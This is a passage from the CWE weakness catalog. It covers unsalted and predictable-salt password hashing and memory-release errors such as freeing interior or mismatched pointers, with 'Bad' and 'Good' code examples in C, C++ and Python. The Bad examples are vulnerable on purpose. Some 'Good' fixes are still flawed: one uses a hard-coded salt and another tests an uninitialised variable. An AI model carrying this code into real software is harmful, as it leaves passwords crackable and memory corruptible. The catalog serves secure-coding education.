This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

**Example 2:**

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

*Example Language: Python*

*(Bad)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

*Example Language: Python*

*(Good)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

**Observed Examples**

Reference	Description
<b>CVE-2008-1526</b>	Router does not use a salt with a hash, making it easier to crack passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1526">https://www.cve.org/CVERecord?id=CVE-2008-1526</a>
<b>CVE-2006-1058</b>	Router does not use a salt with a hash, making it easier to crack passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1058">https://www.cve.org/CVERecord?id=CVE-2006-1058</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	2152
MemberOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	<b>C</b>	958	SFP Secondary Cluster: Broken Cryptography	888	2191
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### References

[REF-291]Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < <http://tools.ietf.org/html/rfc2898> >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < <http://codahale.com/how-to-safely-store-a-password/> >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.

[REF-631]OWASP. "Password Storage Cheat Sheet". < [https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) >.

[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < <http://www.securityfocus.com/blogs/262> >.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < <http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html> >.

[REF-634]James McGlinn. "Password Hashing". < <http://phpsec.org/articles/2005/password-hashing.html> >.

[REF-635]Jeff Atwood. "Rainbow Hash Cracking". 2007 September 8. < <http://www.codinghorror.com/blog/archives/000949.html> >.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < <http://www.codinghorror.com/blog/2012/04/speed-hashing.html> >.

[REF-637]"Rainbow table". 2009 March 3. Wikipedia. < [http://en.wikipedia.org/wiki/Rainbow\\_table](http://en.wikipedia.org/wiki/Rainbow_table) >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-760: Use of a One-Way Hash with a Predictable Salt

**Weakness ID** : 760  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.

### Extended Description


This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		916	Use of Password Hash With Insufficient Computational Effort	1688

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase:** Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

#### Phase: Implementation

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

*Effectiveness = Limited*

*Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.*

#### Observed Examples

Reference	Description
<b>CVE-2008-4905</b>	Blogging software uses a hard-coded salt when calculating a password hash. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4905">https://www.cve.org/CVERecord?id=CVE-2008-4905</a>
<b>CVE-2002-1657</b>	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1657">https://www.cve.org/CVERecord?id=CVE-2002-1657</a>
<b>CVE-2001-0967</b>	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0967">https://www.cve.org/CVERecord?id=CVE-2001-0967</a>
<b>CVE-2005-0408</b>	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0408">https://www.cve.org/CVERecord?id=CVE-2005-0408</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	958	SFP Secondary Cluster: Broken Cryptography	888	2191
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

#### Notes

##### Maintenance



As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

## References

- [REF-291]Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.
- [REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.
- [REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < <http://tools.ietf.org/html/rfc2898> >.
- [REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < <http://codahale.com/how-to-safely-store-a-password/> >.
- [REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.
- [REF-296]Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.
- [REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.
- [REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.
- [REF-631]OWASP. "Password Storage Cheat Sheet". < [https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) >.
- [REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < <http://www.securityfocus.com/blogs/262> >.
- [REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < <http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html> >.
- [REF-634]James McGlinn. "Password Hashing". < <http://phpsec.org/articles/2005/password-hashing.html> >.
- [REF-635]Jeff Atwood. "Rainbow Hash Cracking". 2007 September 8. < <http://www.codinghorror.com/blog/archives/000949.html> >.
- [REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < <http://www.codinghorror.com/blog/2012/04/speed-hashing.html> >.
- [REF-637]"Rainbow table". 2009 March 3. Wikipedia. < [http://en.wikipedia.org/wiki/Rainbow\\_table](http://en.wikipedia.org/wiki/Rainbow_table) >.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

---

## CWE-761: Free of Pointer not at Start of Buffer

Weakness ID : 761



**Structure** : Simple  
**Abstraction** : Variant

## Description

The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

## Extended Description

This can cause the product to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		763	Release of Invalid Pointer or Reference	1488

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

### Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

## Demonstrative Examples

### Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C

(Bad)

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C

(Good)

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

### Example 2:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C

(Bad)

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strtok(&inputstring, " \t")) != NULL;
     if (**ap != '\0')
         if (++ap >= &argv[10])
             break;
    /*...*/
    free(ap[4]);
```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

**Example 3:**

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C

(Bad)

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep);
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C

(Good)

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )
```

## Observed Examples


Reference	Description
<b>CVE-2019-11930</b>	function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory." <a href="https://www.cve.org/CVERecord?id=CVE-2019-11930">https://www.cve.org/CVERecord?id=CVE-2019-11930</a>

## Affected Resources

- Memory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		969	SFP Secondary Cluster: Faulty Memory Release	888	2197

## Notes

### Maintenance

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

## References

[REF-657]"boost C++ Library Smart Pointers". < [http://www.boost.org/doc/libs/1\\_38\\_0/libs/smart\\_ptr/smart\\_ptr.htm](http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm) >.

[REF-480]"Valgrind". < <http://valgrind.org/> >.

## CWE-762: Mismatched Memory Management Routines

**Weakness ID** : 762

**Structure** : Simple

**Abstraction** : Variant

### Description

The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

### Extended Description

This weakness can be generally described as mismatching memory management routines, such as:



- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine `free()` (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with `malloc()` in C++ instead of the `new` operator, and then deallocated with the `delete` operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		763	Release of Invalid Pointer or Reference	1488
ParentOf		590	Free of Memory not on the Heap	1248

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

### Phase: Implementation

*Strategy = Libraries or Frameworks*

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto\_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared\_ptr and std::weak\_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

**Phase: Architecture and Design**

Use a language that provides abstractions for memory allocation and deallocation.

**Phase: Testing**

Use a tool that dynamically detects memory management problems, such as valgrind.

**Demonstrative Examples****Example 1:**

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

*Example Language: C++*

*(Bad)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

*Example Language: C++*

*(Good)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

**Example 2:**

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

*Example Language: C++*

*(Bad)*

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

**Example 3:**

In this example, the program calls the delete[] function on non-heap memory.

*Example Language: C++*

*(Bad)*

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
```

```

    p = new int[2];
  }
  delete[] p;
}

```

## Affected Resources

- Memory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	<b>C</b>	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2257
MemberOf	<b>C</b>	1237	SFP Primary Cluster: Faulty Resource Release	888	2275

## Notes

### Applicable Platform

This weakness is possible in any programming language that allows manual management of memory.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	WIN30-C	Exact	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

## References

[REF-657]"boost C++ Library Smart Pointers". < [http://www.boost.org/doc/libs/1\\_38\\_0/libs/smart\\_ptr/smart\\_ptr.htm](http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm) >.

[REF-480]"Valgrind". < <http://valgrind.org/> >.

[REF-391]iOS Developer Library. "Transitioning to ARC Release Notes". 2013 August 8. < <https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html> >.

## CWE-763: Release of Invalid Pointer or Reference

**Weakness ID** : 763

**Structure** : Simple

**Abstraction** : Base

### Description

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

### Extended Description

This weakness can take several forms, such as:

- The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).






- The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927
ParentOf		761	Free of Pointer not at Start of Buffer	1481
ParentOf		762	Mismatched Memory Management Routines	1485



*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117
MemberOf		465	Pointer Issues	2121

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
	<i>This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.</i>	

## Potential Mitigations

### Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

### Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

## Demonstrative Examples

### Example 1:

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C

(Bad)

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

### Example 2:

This example allocates a `BarObj` object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

Example Language: C++

(Bad)

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the `malloc` family functions, or else deleted the object with the `delete` operator.

Example Language: C++

(Good)

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

### Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return `SUCCESS` or `FAILURE` to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C

(Bad)

```
#define SUCCESS (1)
#define FAILURE (0)
```

```

int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C

(Good)

```

#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

#### Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C

(Bad)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
}

```

```

else{
    add_to_command_queue( tok );
}
tok = strtok( NULL, sep));
}

```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C

(Good)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )

```

## Affected Resources

- Memory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2197
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2275

## Notes

### Maintenance

The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

## References

[REF-657]"boost C++ Library Smart Pointers". < [http://www.boost.org/doc/libs/1\\_38\\_0/libs/smart\\_ptr/smart\\_ptr.htm](http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm) >.

[REF-480]"Valgrind". < <http://valgrind.org/> >.

## CWE-764: Multiple Locks of a Critical Resource

**Weakness ID** : 764

**Structure** : Simple

**Abstraction** : Base

### Description

The product locks a critical resource more times than intended, leading to an unexpected state in the system.



### Extended Description

